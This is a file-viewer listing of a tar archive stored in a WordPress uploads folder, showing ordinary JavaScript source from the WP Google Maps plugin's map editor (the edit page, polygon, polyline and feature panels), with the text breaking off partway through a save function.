| Current Path : /home/bechata/mp/wp-content/uploads/2022/ejn73c/ |
| Current File : /home/bechata/mp/wp-content/uploads/2022/ejn73c/v8.tar |
map-edit-page/map-edit-page.js 0000666 00000044120 15176066225 0012145 0 ustar 00 /**
* @namespace WPGMZA
* @module MapEditPage
* @requires WPGMZA.EventDispatcher
*/
var wpgmza_autoCompleteDisabled = false;
jQuery(function($) {
if(WPGMZA.currentPage != "map-edit")
return;
WPGMZA.MapEditPage = function()
{
var self = this;
var element = document.body;
WPGMZA.EventDispatcher.call(this);
$("#wpgmaps_options fieldset").wrapInner("<div class='wpgmza-flex'></div>");
this.themePanel = new WPGMZA.ThemePanel();
this.themeEditor = new WPGMZA.ThemeEditor();
this.map = WPGMZA.maps[0];
// Drawing manager
if(!WPGMZA.pro_version || WPGMZA.Version.compare(WPGMZA.pro_version, '8.1.0') >= WPGMZA.Version.EQUAL_TO)
this.drawingManager = WPGMZA.DrawingManager.createInstance(this.map);
// UI
this.initDataTables();
this.initFeaturePanels();
this.initJQueryUIControls();
if(WPGMZA.locale !== 'en'){
$('#datatable_no_result_message,#datatable_search_string').parent().parent().hide();
}
// Address input
$("input.wpgmza-address").each(function(index, el) {
el.addressInput = WPGMZA.AddressInput.createInstance(el, self.map);
});
$('#wpgmza-map-edit-page input[type="color"]').each(function(){
$("<div class='button-secondary wpgmza-paste-color-btn' title='Paste a HEX color code'><i class='fa fa-clipboard' aria-hidden='true'></i></div>").insertAfter(this);
});
jQuery('body').on('click','.wpgmza_ac_result', function(e) {
var index = jQuery(this).data('id');
var lat = jQuery(this).data('lat');
var lng = jQuery(this).data('lng');
var name = jQuery('#wpgmza_item_address_'+index).html();
jQuery("input[name='lat']").val(lat);
jQuery("input[name='lng']").val(lng);
jQuery("#wpgmza_add_address_map_editor").val(name);
jQuery('#wpgmza_autocomplete_search_results').hide();
});
jQuery('body').on('click', '.wpgmza-paste-color-btn', function(){
try{
var colorBtn = $(this);
if(!navigator || !navigator.clipboard || !navigator.clipboard.readText){
return;
}
navigator.clipboard.readText()
.then(function(textcopy) {
colorBtn.parent().find('input[type="color"]').val("#" + textcopy.replace("#","").trim());
})
.catch(function(err) {
console.error("WP Google Maps: Could not access clipboard", err);
});
} catch(c_ex){
}
});
jQuery('body').on('focusout', '#wpgmza_add_address_map_editor', function(e) {
setTimeout(function() {
jQuery('#wpgmza_autocomplete_search_results').fadeOut('slow');
},500)
});
var ajaxRequest = false;
var wpgmzaAjaxTimeout = false;
var wpgmzaStartTyping = false;
var wpgmzaKeyStrokeCount = 1;
var wpgmzaAvgTimeBetweenStrokes = 300; //300 ms by default (equates to 40wpm which is the average typing speed of a person)
var wpgmzaTotalTimeForKeyStrokes = 0;
var wpgmzaTmp = '';
var wpgmzaIdentifiedTypingSpeed = false;
$('body').on('keypress', '.wpgmza-address', function(e) {
if (this.id == 'wpgmza_add_address_map_editor') {
if (wpgmza_autoCompleteDisabled) { return; }
// if user is using their own API key then use the normal Google AutoComplete
var wpgmza_apikey = false;
if (WPGMZA_localized_data.settings.googleMapsApiKey && WPGMZA_localized_data.settings.googleMapsApiKey !== '') {
wpgmza_apikey = WPGMZA_localized_data.settings.googleMapsApiKey;
return;
} else {
if(e.key === "Escape" || e.key === "Alt" || e.key === "Control" || e.key === "Option" || e.key === "Shift" || e.key === "ArrowLeft" || e.key === "ArrowRight" || e.key === "ArrowUp" || e.key === "ArrowDown") {
$('#wpgmza_autocomplete_search_results').hide();
return;
}
if (!wpgmzaIdentifiedTypingSpeed) {
//determine duration between key strokes to determine when we should send the request to the autocomplete server
//doing this avoids sending API calls for slow typers.
var d = new Date();
// set a timer to reset the delay counter
clearTimeout(wpgmzaTmp);
wpgmzaTmp = setTimeout(function(){
wpgmzaStartTyping = false;
wpgmzaAvgTimeBetweenStrokes = 300;
wpgmzaTotalTimeForKeyStrokes = 0;
},1500
); // I'm pretty sure no one types one key stroke per 1.5 seconds. This should be safe.
if (!wpgmzaStartTyping) {
// first character press, set start time.
wpgmzaStartTyping = d.getTime();
wpgmzaKeyStrokeCount++;
} else {
if (wpgmzaKeyStrokeCount == 1) {
// do nothing because its the first key stroke
} else {
wpgmzaCurrentTimeBetweenStrokes = d.getTime() - wpgmzaStartTyping;
wpgmzaTotalTimeForKeyStrokes = wpgmzaTotalTimeForKeyStrokes + wpgmzaCurrentTimeBetweenStrokes;
wpgmzaAvgTimeBetweenStrokes = (wpgmzaTotalTimeForKeyStrokes / (wpgmzaKeyStrokeCount-1)); // we cannot count the first key as that was the starting point
wpgmzaStartTyping = d.getTime();
if (wpgmzaKeyStrokeCount >= 3) {
// we only need 3 keys to know how fast they type
wpgmzaIdentifiedTypingSpeed = (wpgmzaAvgTimeBetweenStrokes);
}
}
wpgmzaKeyStrokeCount++;
}
return;
}
// clear the previous timer
clearTimeout(wpgmzaAjaxTimeout);
$('#wpgmza_autocomplete_search_results').html('Searching...');
$('#wpgmza_autocomplete_search_results').show();
var currentSearch = jQuery(this).val();
if (currentSearch !== '') {
if(ajaxRequest !== false){
ajaxRequest.abort();
}
var wpgmza_api_url = '';
if (!wpgmza_apikey) {
wpgmza_api_url = "https://wpgmaps.us-3.evennode.com/api/v1/autocomplete?s="+currentSearch+"&d="+window.location.hostname+"&hash="+WPGMZA_localized_data.siteHash
} else {
wpgmza_api_url = "https://wpgmaps.us-3.evennode.com/api/v1/autocomplete?s="+currentSearch+"&d="+window.location.hostname+"&hash="+WPGMZA_localized_data.siteHash+"&k="+wpgmza_apikey
}
// set a timer of how fast the person types in seconds to only continue with this if it runs out
wpgmzaAjaxTimeout = setTimeout(function() {
ajaxRequest = $.ajax({
url: wpgmza_api_url,
type: 'GET',
dataType: 'json', // added data type
success: function(results) {
try {
if (typeof results.error !== 'undefined') {
if (results.error == 'error1') {
$('#wpgmza_autoc_disabled').html(WPGMZA.localized_strings.cloud_api_key_error_1);
$('#wpgmza_autoc_disabled').fadeIn('slow');
$('#wpgmza_autocomplete_search_results').hide();
wpgmza_autoCompleteDisabled = true;
} else {
console.error(results.error);
}
} else {
$('#wpgmza_autocomplete_search_results').html('');
var html = "";
for(var i in results){ html += "<div class='wpgmza_ac_result " + (html === "" ? "" : "border-top") + "' data-id='" + i + "' data-lat='"+results[i]['lat']+"' data-lng='"+results[i]['lng']+"'><div class='wpgmza_ac_container'><div class='wpgmza_ac_icon'><img src='"+results[i]['icon']+"' /></div><div class='wpgmza_ac_item'><span id='wpgmza_item_name_"+i+"' class='wpgmza_item_name'>" + results[i]['place_name'] + "</span><span id='wpgmza_item_address_"+i+"' class='wpgmza_item_address'>" + results[i]['formatted_address'] + "</span></div></div></div>"; }
if(html == ""){ html = "<div class='p-2 text-center'><small>No results found...</small></div>"; }
$('#wpgmza_autocomplete_search_results').html(html);
$('#wpgmza_autocomplete_search_results').show();
}
} catch (exception) {
console.error("WP Google Maps Plugin: There was an error returning the list of places for your search");
}
}
});
},(wpgmzaIdentifiedTypingSpeed*2));
} else {
$('#wpgmza_autocomplete_search_results').hide();
}
}
}
});
// Map height change (for warning)
$("#wpgmza_map_height_type").on("change", function(event) {
self.onMapHeightTypeChange(event);
});
// Don't have instructions in advanced marker panel, it's confusing for debugging and unnecessary
$("#advanced-markers .wpgmza-feature-drawing-instructions").remove();
// Hide the auto search area maximum zoom - not available in Basic. Pro will take care of showing it when needed
$("[data-search-area='auto']").hide();
// Control listeners
$(document.body).on("click", "[data-wpgmza-admin-marker-datatable] input[name='mark']", function(event) {
self.onShiftClick(event);
});
$("#wpgmza_map_type").on("change", function(event) {
self.onMapTypeChanged(event);
});
$("body").on("click",".wpgmza_copy_shortcode", function() {
var $temp = jQuery('<input>');
var $tmp2 = jQuery('<span id="wpgmza_tmp" style="display:none; width:100%; text-align:center;">');
jQuery("body").append($temp);
$temp.val(jQuery(this).val()).select();
document.execCommand("copy");
$temp.remove();
WPGMZA.notification("Shortcode Copied");
});
this.on("markerupdated", function(event) {
self.onMarkerUpdated(event);
});
// NB: Older version of Pro (< 7.0.0 - pre-WPGMZA.Map) will have this.map as undefined. Only run this code if we have a WPGMZA.Map to work with.
if(this.map)
{
this.map.on("zoomchanged", function(event) {
self.onZoomChanged(event);
});
this.map.on("boundschanged", function(event) {
self.onBoundsChanged(event);
});
this.map.on("rightclick", function(event) {
self.onRightClick(event);
});
}
$(element).on("click", ".wpgmza_poly_del_btn", function(event) {
self.onDeletePolygon(event);
});
$(element).on("click", ".wpgmza_polyline_del_btn", function(event) {
self.onDeletePolyline(event);
});
$(element).on("click", ".wpgmza_dataset_del_btn", function(evevnt) {
self.onDeleteHeatmap(event);
});
$(element).on("click", ".wpgmza_circle_del_btn", function(event) {
self.onDeleteCircle(event);
});
$(element).on("click", ".wpgmza_rectangle_del_btn", function(event) {
self.onDeleteRectangle(event);
});
$(element).on("click", "#wpgmza-open-advanced-theme-data", function(event){
event.preventDefault();
$('.wpgmza_theme_data_container').toggleClass('wpgmza_hidden');
});
}
WPGMZA.extend(WPGMZA.MapEditPage, WPGMZA.EventDispatcher);
WPGMZA.MapEditPage.createInstance = function()
{
if(WPGMZA.isProVersion() && WPGMZA.Version.compare(WPGMZA.pro_version, "8.0.0") >= WPGMZA.Version.EQUAL_TO)
return new WPGMZA.ProMapEditPage();
return new WPGMZA.MapEditPage();
}
WPGMZA.MapEditPage.prototype.initDataTables = function()
{
var self = this;
$("[data-wpgmza-datatable][data-wpgmza-rest-api-route]").each(function(index, el) {
var featureType = $(el).attr("data-wpgmza-feature-type");
self[featureType + "AdminDataTable"] = new WPGMZA.AdminFeatureDataTable(el);
});
}
WPGMZA.MapEditPage.prototype.initFeaturePanels = function()
{
var self = this;
$(".wpgmza-feature-accordion[data-wpgmza-feature-type]").each(function(index, el) {
var featurePanelElement = $(el).find(".wpgmza-feature-panel-container > *");
var featureType = $(el).attr("data-wpgmza-feature-type");
var panelClassName = WPGMZA.capitalizeWords(featureType) + "Panel";
var module = WPGMZA[panelClassName];
var instance = module.createInstance(featurePanelElement, self);
self[featureType + "Panel"] = instance;
});
}
WPGMZA.MapEditPage.prototype.initJQueryUIControls = function()
{
var self = this;
var mapContainer;
// Now initialise tabs
$("#wpgmaps_tabs").tabs();
// NB: If the map container has a <ul> then this will break the tabs (this happens in OpenLayers). Temporarily detach the map to avoid this.
mapContainer = $("#wpgmza-map-container").detach();
$("#wpgmaps_tabs_markers").tabs();
// NB: Re-add the map container (see above)
$(".map_wrapper").prepend(mapContainer);
// And the zoom slider
$("#slider-range-max").slider({
range: "max",
min: 1,
max: 21,
value: $("input[name='map_start_zoom']").val(),
slide: function( event, ui ) {
$("input[name='map_start_zoom']").val(ui.value);
self.map.setZoom(ui.value);
}
});
}
WPGMZA.MapEditPage.prototype.onShiftClick = function(event)
{
var checkbox = event.currentTarget;
var row = jQuery(checkbox).closest("tr");
if(this.lastSelectedRow && event.shiftKey)
{
var prevIndex = this.lastSelectedRow.index();
var currIndex = row.index();
var startIndex = Math.min(prevIndex, currIndex);
var endIndex = Math.max(prevIndex, currIndex);
var rows = jQuery("[data-wpgmza-admin-marker-datatable] tbody>tr");
// Clear
jQuery("[data-wpgmza-admin-marker-datatable] input[name='mark']").prop("checked", false);
for(var i = startIndex; i <= endIndex; i++)
jQuery(rows[i]).find("input[name='mark']").prop("checked", true);
}
this.lastSelectedRow = row;
}
WPGMZA.MapEditPage.prototype.onMapTypeChanged = function(event)
{
if(WPGMZA.settings.engine == "open-layers")
return;
var mapTypeId;
switch(event.target.value)
{
case "2":
mapTypeId = google.maps.MapTypeId.SATELLITE;
break;
case "3":
mapTypeId = google.maps.MapTypeId.HYBRID;
break;
case "4":
mapTypeId = google.maps.MapTypeId.TERRAIN;
break;
default:
mapTypeId = google.maps.MapTypeId.ROADMAP;
break;
}
this.map.setOptions({
mapTypeId: mapTypeId
});
}
WPGMZA.MapEditPage.prototype.onMarkerUpdated = function(event)
{
this.markerDataTable.reload();
}
WPGMZA.MapEditPage.prototype.onZoomChanged = function(event) {
$(".map_start_zoom").val(this.map.getZoom());
}
WPGMZA.MapEditPage.prototype.onBoundsChanged = function(event)
{
var location = this.map.getCenter();
$("#wpgmza_start_location").val(location.lat + "," + location.lng);
$("input[name='map_start_lat']").val(location.lat);
$("input[name='map_start_lng']").val(location.lng);
$("#wpgmza_start_zoom").val(this.map.getZoom());
$("#wpgmaps_save_reminder").show();
}
WPGMZA.MapEditPage.prototype.onMapHeightTypeChange = function(event)
{
if(event.target.value == "%")
$("#wpgmza_height_warning").show();
}
WPGMZA.MapEditPage.prototype.onRightClick = function(event)
{
var self = this;
var marker;
if(this.drawingManager && this.drawingManager.mode != WPGMZA.DrawingManager.MODE_MARKER)
return; // Do nothing, not in marker mode
if(!this.rightClickMarker)
{
this.rightClickMarker = WPGMZA.Marker.createInstance({
draggable: true
});
this.rightClickMarker.on("dragend", function(event) {
$(".wpgmza-marker-panel [data-ajax-name='address']").val(event.latLng.lat + "," + event.latLng.lng);
});
this.map.on("click", function(event) {
self.rightClickMarker.setMap(null);
});
}
marker = this.rightClickMarker;
marker.setPosition(event.latLng);
marker.setMap(this.map);
$(".wpgmza-marker-panel [data-ajax-name='address']").val(event.latLng.lat+', '+event.latLng.lng);
}
WPGMZA.MapEditPage.prototype.onDeletePolygon = function(event)
{
var cur_id = parseInt($(this).attr("id"));
var data = {
action: 'delete_poly',
security: wpgmza_legacy_map_edit_page_vars.ajax_nonce,
map_id: this.map.id,
poly_id: cur_id
};
$.post(ajaxurl, data, function (response) {
WPGM_Path[cur_id].setMap(null);
delete WPGM_PathData[cur_id];
delete WPGM_Path[cur_id];
$("#wpgmza_poly_holder").html(response);
});
}
WPGMZA.MapEditPage.prototype.onDeletePolyline = function(event)
{
var cur_id = $(this).attr("id");
var data = {
action: 'delete_polyline',
security: wpgmza_legacy_map_edit_page_vars.ajax_nonce,
map_id: this.map.id,
poly_id: cur_id
};
$.post(ajaxurl, data, function (response) {
WPGM_PathLine[cur_id].setMap(null);
delete WPGM_PathLineData[cur_id];
delete WPGM_PathLine[cur_id];
$("#wpgmza_polyline_holder").html(response);
});
}
WPGMZA.MapEditPage.prototype.onDeleteHeatmap = function(event)
{
var cur_id = $(this).attr("id");
var data = {
action: 'delete_dataset',
security: wpgmza_legacy_map_edit_page_vars.ajax_nonce,
map_id: this.map.id,
poly_id: cur_id
};
$.post(ajaxurl, data, function (response) {
heatmap[cur_id].setMap(null);
delete heatmap[cur_id];
$("#wpgmza_heatmap_holder").html(response);
});
}
WPGMZA.MapEditPage.prototype.onDeleteCircle = function(event)
{
var circle_id = $(this).attr("id");
var data = {
action: 'delete_circle',
security: wpgmza_legacy_map_edit_page_vars.ajax_nonce,
map_id: this.map.id,
circle_id: circle_id
};
$.post(ajaxurl, data, function (response) {
$("#tabs-m-5 table").replaceWith(response);
circle_array.forEach(function (circle) {
if (circle.id == circle_id) {
circle.setMap(null);
return false;
}
});
});
}
WPGMZA.MapEditPage.prototype.onDeleteRectangle = function(event)
{
var rectangle_id = $(this).attr("id");
var data = {
action: 'delete_rectangle',
security: wpgmza_legacy_map_edit_page_vars.ajax_nonce,
map_id: this.map.id,
rectangle_id: rectangle_id
};
$.post(ajaxurl, data, function (response) {
$("#tabs-m-6 table").replaceWith(response);
rectangle_array.forEach(function (rectangle) {
if (rectangle.id == rectangle_id) {
rectangle.setMap(null);
return false;
}
});
});
}
$(document).ready(function(event) {
WPGMZA.mapEditPage = WPGMZA.MapEditPage.createInstance();
});
}); map-edit-page/polyline-panel.js 0000666 00000000776 15176066225 0012474 0 ustar 00 /**
* @namespace WPGMZA
* @module PolylinePanel
* @requires WPGMZA.FeaturePanel
*/
jQuery(function($) {
WPGMZA.PolylinePanel = function(element, mapEditPage)
{
WPGMZA.FeaturePanel.apply(this, arguments);
}
WPGMZA.extend(WPGMZA.PolylinePanel, WPGMZA.FeaturePanel);
WPGMZA.PolylinePanel.createInstance = function(element, mapEditPage)
{
if(WPGMZA.isProVersion())
return new WPGMZA.ProPolylinePanel(element, mapEditPage);
return new WPGMZA.PolylinePanel(element, mapEditPage);
}
}); map-edit-page/polygon-panel.js 0000666 00000001221 15176066225 0012312 0 ustar 00 /**
* @namespace WPGMZA
* @module PolygonPanel
* @requires WPGMZA.FeaturePanel
*/
jQuery(function($) {
WPGMZA.PolygonPanel = function(element, mapEditPage)
{
WPGMZA.FeaturePanel.apply(this, arguments);
}
WPGMZA.extend(WPGMZA.PolygonPanel, WPGMZA.FeaturePanel);
WPGMZA.PolygonPanel.createInstance = function(element, mapEditPage)
{
if(WPGMZA.isProVersion())
return new WPGMZA.ProPolygonPanel(element, mapEditPage);
return new WPGMZA.PolygonPanel(element, mapEditPage);
}
Object.defineProperty(WPGMZA.PolygonPanel.prototype, "drawingManagerCompleteEvent", {
"get": function() {
return "polygonclosed";
}
});
}); map-edit-page/feature-panel.js 0000666 00000040121 15176066225 0012260 0 ustar 00 /**
* @namespace WPGMZA
* @module FeaturePanel
* @requires WPGMZA.EventDispatcher
*/
jQuery(function($) {
WPGMZA.FeaturePanel = function(element, mapEditPage)
{
var self = this;
WPGMZA.EventDispatcher.apply(this, arguments);
this.map = mapEditPage.map;
this.drawingManager = mapEditPage.drawingManager;
this.feature = null;
this.element = element;
this.initDefaults();
this.setMode(WPGMZA.FeaturePanel.MODE_ADD);
this.drawingInstructionsElement = $(this.element).find(".wpgmza-feature-drawing-instructions");
this.drawingInstructionsElement.detach();
this.editingInstructionsElement = $(this.element).find(".wpgmza-feature-editing-instructions");
this.editingInstructionsElement.detach();
$("#wpgmaps_tabs_markers").on("tabsactivate", function(event, ui) {
if($.contains(ui.newPanel[0], self.element[0]))
self.onTabActivated(event);
});
$("#wpgmaps_tabs_markers").on("tabsactivate", function(event, ui) {
if($.contains(ui.oldPanel[0], self.element[0]))
self.onTabDeactivated(event);
});
// NB: Removed to get styling closer
/*$(element).closest(".wpgmza-accordion").find("h3[data-add-caption]").on("click", function(event) {
if(self.mode == "add")
self.onAddFeature(event);
});*/
$(document.body).on("click", "[data-edit-" + this.featureType + "-id]", function(event) {
self.onEditFeature(event);
});
$(document.body).on("click", "[data-delete-" + this.featureType + "-id]", function(event) {
self.onDeleteFeature(event);
});
$(this.element).find(".wpgmza-save-feature").on("click", function(event) {
self.onSave(event);
});
this.drawingManager.on(self.drawingManagerCompleteEvent, function(event) {
self.onDrawingComplete(event);
});
this.drawingManager.on("drawingmodechanged", function(event) {
self.onDrawingModeChanged(event);
});
$(this.element).on("change input", function(event) {
self.onPropertyChanged(event);
});
}
WPGMZA.extend(WPGMZA.FeaturePanel, WPGMZA.EventDispatcher);
WPGMZA.FeaturePanel.MODE_ADD = "add";
WPGMZA.FeaturePanel.MODE_EDIT = "edit";
WPGMZA.FeaturePanel.prevEditableFeature = null;
Object.defineProperty(WPGMZA.FeaturePanel.prototype, "featureType", {
"get": function() {
return $(this.element).attr("data-wpgmza-feature-type");
}
});
Object.defineProperty(WPGMZA.FeaturePanel.prototype, "drawingManagerCompleteEvent", {
"get": function() {
return this.featureType + "complete";
}
});
Object.defineProperty(WPGMZA.FeaturePanel.prototype, "featureDataTable", {
"get": function() {
return $("[data-wpgmza-datatable][data-wpgmza-feature-type='" + this.featureType + "']")[0].wpgmzaDataTable;
}
});
Object.defineProperty(WPGMZA.FeaturePanel.prototype, "featureAccordion", {
"get": function() {
return $(this.element).closest(".wpgmza-accordion");
}
});
Object.defineProperty(WPGMZA.FeaturePanel.prototype, "map", {
"get": function() {
return WPGMZA.mapEditPage.map;
}
});
Object.defineProperty(WPGMZA.FeaturePanel.prototype, "mode", {
"get": function() {
return this._mode;
}
});
WPGMZA.FeaturePanel.prototype.initPreloader = function()
{
if(this.preloader)
return;
this.preloader = $(WPGMZA.preloaderHTML);
this.preloader.hide();
$(this.element).append(this.preloader);
}
WPGMZA.FeaturePanel.prototype.initDataTable = function()
{
var el = $(this.element).find("[data-wpgmza-datatable][data-wpgmza-rest-api-route]");
this[this.featureType + "AdminDataTable"] = new WPGMZA.AdminFeatureDataTable( el );
}
WPGMZA.FeaturePanel.prototype.initDefaults = function()
{
$(this.element).find("[data-ajax-name]:not([type='radio'])").each(function(index, el) {
var val = $(el).val();
if(!val)
return;
$(el).attr("data-default-value", val);
});
}
WPGMZA.FeaturePanel.prototype.setCaptionType = function(type, id)
{
var args = arguments;
var icons = {
add: "fa-plus-circle",
save: "fa-pencil-square-o"
};
switch(type)
{
case WPGMZA.FeaturePanel.MODE_ADD:
case WPGMZA.FeaturePanel.MODE_EDIT:
this.featureAccordion.find("[data-add-caption][data-edit-caption]").each(function(index, el) {
var text = $(el).attr("data-" + type + "-caption");
var icon = $(el).find("i.fa");
if(id)
text += " " + id;
$(el).text(text);
if(icon.length)
{
// Need to recreate the icon as text() will have wiped it out
icon = $("<i class='fa' aria-hidden='true'></i>");
icon.addClass(icons[type]);
$(el).prepend(" ");
$(el).prepend(icon);
}
});
break;
default:
throw new Error("Invalid type");
break;
}
}
WPGMZA.FeaturePanel.prototype.setMode = function(type, id)
{
this._mode = type;
this.setCaptionType(type, id);
}
WPGMZA.FeaturePanel.prototype.setTargetFeature = function(feature)
{
var self = this;
// TODO: Implement fitBounds for all features
//var bounds = feature.getBounds();
//map.fitBounds(bounds);
if(WPGMZA.FeaturePanel.prevEditableFeature) {
var prev = WPGMZA.FeaturePanel.prevEditableFeature;
prev.setEditable(false);
prev.setDraggable(false);
prev.off("change");
}
if(feature) {
feature.setEditable(true);
feature.setDraggable(true);
feature.on("change", function(event) {
self.onFeatureChanged(event);
});
this.setMode(WPGMZA.FeaturePanel.MODE_EDIT);
this.drawingManager.setDrawingMode(WPGMZA.DrawingManager.MODE_NONE);
this.showInstructions();
}
else {
this.setMode(WPGMZA.FeaturePanel.MODE_ADD);
}
this.feature = WPGMZA.FeaturePanel.prevEditableFeature = feature;
}
WPGMZA.FeaturePanel.prototype.reset = function()
{
$(this.element).find("[data-ajax-name]:not([data-ajax-name='map_id']):not([type='color']):not([type='checkbox']):not([type='radio'])").val("");
$(this.element).find("select[data-ajax-name]>option:first-child").prop("selected", true);
$(this.element).find("[data-ajax-name='id']").val("-1");
$(this.element).find("input[type='checkbox']").prop("checked", false);
if(tinyMCE.get("wpgmza-description-editor"))
tinyMCE.get("wpgmza-description-editor").setContent("");
else
$("#wpgmza-description-editor").val("");
$('#wpgmza-description-editor').val("");
this.showPreloader(false);
this.setMode(WPGMZA.FeaturePanel.MODE_ADD);
$(this.element).find("[data-ajax-name][data-default-value]").each(function(index, el) {
$(el).val( $(el).data("default-value") );
});
}
WPGMZA.FeaturePanel.prototype.select = function(arg) {
var id, expectedBaseClass, self = this;
this.reset();
if($.isNumeric(arg))
id = arg;
else
{
expectedBaseClass = WPGMZA[ WPGMZA.capitalizeWords(this.featureType) ];
if(!(feature instanceof expectedBaseClass))
throw new Error("Invalid feature type for this panel");
id = arg.id;
}
this.showPreloader(true);
WPGMZA.animateScroll($(".wpgmza_map"));
WPGMZA.restAPI.call("/" + this.featureType + "s/" + id + "?skip_cache=1", {
success: function(data, status, xhr) {
var functionSuffix = WPGMZA.capitalizeWords(self.featureType);
var getByIDFunction = "get" + functionSuffix + "ByID";
var feature = self.map[getByIDFunction](id);
self.populate(data);
self.showPreloader(false);
self.setMode(WPGMZA.FeaturePanel.MODE_EDIT, id);
self.setTargetFeature(feature);
}
});
}
WPGMZA.FeaturePanel.prototype.showPreloader = function(show)
{
this.initPreloader();
if(arguments.length == 0 || show)
{
this.preloader.fadeIn();
this.element.addClass("wpgmza-loading");
}
else
{
this.preloader.fadeOut();
this.element.removeClass("wpgmza-loading");
}
}
WPGMZA.FeaturePanel.prototype.populate = function(data)
{
var value, target, name;
for(name in data)
{
target = $(this.element).find("[data-ajax-name='" + name + "']");
value = data[name];
switch((target.attr("type") || "").toLowerCase())
{
case "checkbox":
case "radio":
target.prop("checked", data[name] == 1);
break;
case "color":
// NB: Account for legacy color format
if(!value.match(/^#/))
value = "#" + value;
default:
if(typeof value == "object")
value = JSON.stringify(value);
$(this.element).find("[data-ajax-name='" + name + "']:not(select)").val(value);
$(this.element).find("select[data-ajax-name='" + name + "']").each(function(index, el) {
if(typeof value == "string" && data[name].length == 0)
return;
$(el).val(value);
});
break;
}
}
}
WPGMZA.FeaturePanel.prototype.serializeFormData = function()
{
var fields = $(this.element).find("[data-ajax-name]");
var data = {};
fields.each(function(index, el) {
var type = "text";
if($(el).attr("type"))
type = $(el).attr("type").toLowerCase();
switch(type)
{
case "checkbox":
data[$(el).attr("data-ajax-name")] = $(el).prop("checked") ? 1 : 0;
break;
case "radio":
if($(el).prop("checked"))
data[$(el).attr("data-ajax-name")] = $(el).val();
break;
default:
data[$(el).attr("data-ajax-name")] = $(el).val()
break;
}
});
return data;
}
WPGMZA.FeaturePanel.prototype.discardChanges = function() {
if(!this.feature)
return;
var feature = this.feature;
this.setTargetFeature(null);
if(feature && feature.map)
{
this.map["remove" + WPGMZA.capitalizeWords(this.featureType)](feature);
if(feature.id > -1)
this.updateFeatureByID(feature.id);
}
}
WPGMZA.FeaturePanel.prototype.updateFeatureByID = function(id)
{
var self = this;
var feature;
var route = "/" + this.featureType + "s/";
var functionSuffix = WPGMZA.capitalizeWords(self.featureType);
var getByIDFunction = "get" + functionSuffix + "ByID";
var removeFunction = "remove" + functionSuffix;
var addFunction = "add" + functionSuffix;
WPGMZA.restAPI.call(route + id, {
success: function(data, status, xhr) {
if(feature = self.map[getByIDFunction](id))
self.map[removeFunction](feature);
feature = WPGMZA[WPGMZA.capitalizeWords(self.featureType)].createInstance(data);
self.map[addFunction](feature);
}
});
}
WPGMZA.FeaturePanel.prototype.showInstructions = function()
{
switch(this.mode)
{
case WPGMZA.FeaturePanel.MODE_ADD:
$(this.map.element).append(this.drawingInstructionsElement);
$(this.drawingInstructionsElement).hide().fadeIn();
break;
default:
$(this.map.element).append(this.editingInstructionsElement);
$(this.editingInstructionsElement).hide().fadeIn();
break;
}
}
WPGMZA.FeaturePanel.prototype.onTabActivated = function() {
this.reset();
this.drawingManager.setDrawingMode(this.featureType);
this.onAddFeature(event);
$(".wpgmza-table-container-title").hide();
$(".wpgmza-table-container").hide();
var featureString = this.featureType.charAt(0).toUpperCase() + this.featureType.slice(1);
$("#wpgmza-table-container-"+featureString).show();
$("#wpgmza-table-container-title-"+featureString).show();
}
WPGMZA.FeaturePanel.prototype.onTabDeactivated = function()
{
this.discardChanges();
this.setTargetFeature(null);
}
WPGMZA.FeaturePanel.prototype.onAddFeature = function(event)
{
this.drawingManager.setDrawingMode(this.featureType);
//if(this.featureType != "marker")
// WPGMZA.animateScroll(WPGMZA.mapEditPage.map.element);
}
WPGMZA.FeaturePanel.prototype.onEditFeature = function(event)
{
var self = this;
var name = "data-edit-" + this.featureType + "-id";
var id = $(event.currentTarget).attr(name);
this.discardChanges();
this.select(id);
}
WPGMZA.FeaturePanel.prototype.onDeleteFeature = function(event)
{
var self = this;
var name = "data-delete-" + this.featureType + "-id";
var id = $(event.currentTarget).attr(name);
var route = "/" + this.featureType + "s/";
var feature = this.map["get" + WPGMZA.capitalizeWords(this.featureType) + "ByID"](id);
this.featureDataTable.dataTable.processing(true);
WPGMZA.restAPI.call(route + id, {
method: "DELETE",
success: function(data, status, xhr) {
self.map["remove" + WPGMZA.capitalizeWords(self.featureType)](feature);
self.featureDataTable.reload();
}
});
}
WPGMZA.FeaturePanel.prototype.onDrawingModeChanged = function(event)
{
$(this.drawingInstructionsElement).detach();
$(this.editingInstructionsElement).detach();
if(this.drawingManager.mode == this.featureType)
{
this.showInstructions();
}
}
WPGMZA.FeaturePanel.prototype.onDrawingComplete = function(event)
{
var self = this;
var property = "engine" + WPGMZA.capitalizeWords(this.featureType);
var engineFeature = event[property];
var formData = this.serializeFormData();
var geometryField = $(self.element).find("textarea[data-ajax-name$='data']");
delete formData.polydata;
var nativeFeature = WPGMZA[WPGMZA.capitalizeWords(this.featureType)].createInstance(
formData,
engineFeature
);
this.drawingManager.setDrawingMode(WPGMZA.DrawingManager.MODE_NONE);
this.map["add" + WPGMZA.capitalizeWords(this.featureType)](nativeFeature);
this.setTargetFeature(nativeFeature);
// NB: This only applies to some features, maybe updateGeometryFields would be better
if(geometryField.length)
geometryField.val(JSON.stringify(nativeFeature.getGeometry()));
if(this.featureType != "marker") {
//WPGMZA.animateScroll( $(this.element).closest(".wpgmza-accordion") );
}
}
WPGMZA.FeaturePanel.prototype.onPropertyChanged = function(event)
{
var self = this;
var feature = this.feature;
if(!feature)
return; // No feature, we're likely in drawing mode and not editing a feature right now
// Gather all the fields from our inputs and set those properties on the feature
$(this.element)
.find(":input[data-ajax-name]")
.each(function(index, el) {
var key = $(el).attr("data-ajax-name");
feature[key] = $(el).val();
});
// Now cause the feature to update itself
feature.updateNativeFeature();
}
WPGMZA.FeaturePanel.prototype.onFeatureChanged = function(event)
{
var geometryField = $(this.element).find("textarea[data-ajax-name$='data']");
if(!geometryField.length)
return;
geometryField.val(JSON.stringify(this.feature.getGeometry()));
}
WPGMZA.FeaturePanel.prototype.onSave = function(event) {
var self = this;
var id = $(self.element).find("[data-ajax-name='id']").val();
var data = this.serializeFormData();
var route = "/" + this.featureType + "s/";
var isNew = id == -1;
if (this.featureType == 'circle') {
if (!data.center) {
alert(WPGMZA.localized_strings.no_shape_circle);
return;
}
}
if (this.featureType == 'rectangle') {
if (!data.cornerA) {
alert(WPGMZA.localized_strings.no_shape_rectangle);
return;
}
}
if (this.featureType == 'polygon') {
if (!data.polydata) {
alert(WPGMZA.localized_strings.no_shape_polygon);
return;
}
}
if (this.featureType == 'polyline') {
if (!data.polydata) {
alert(WPGMZA.localized_strings.no_shape_polyline);
return;
}
}
if(!isNew)
route += id;
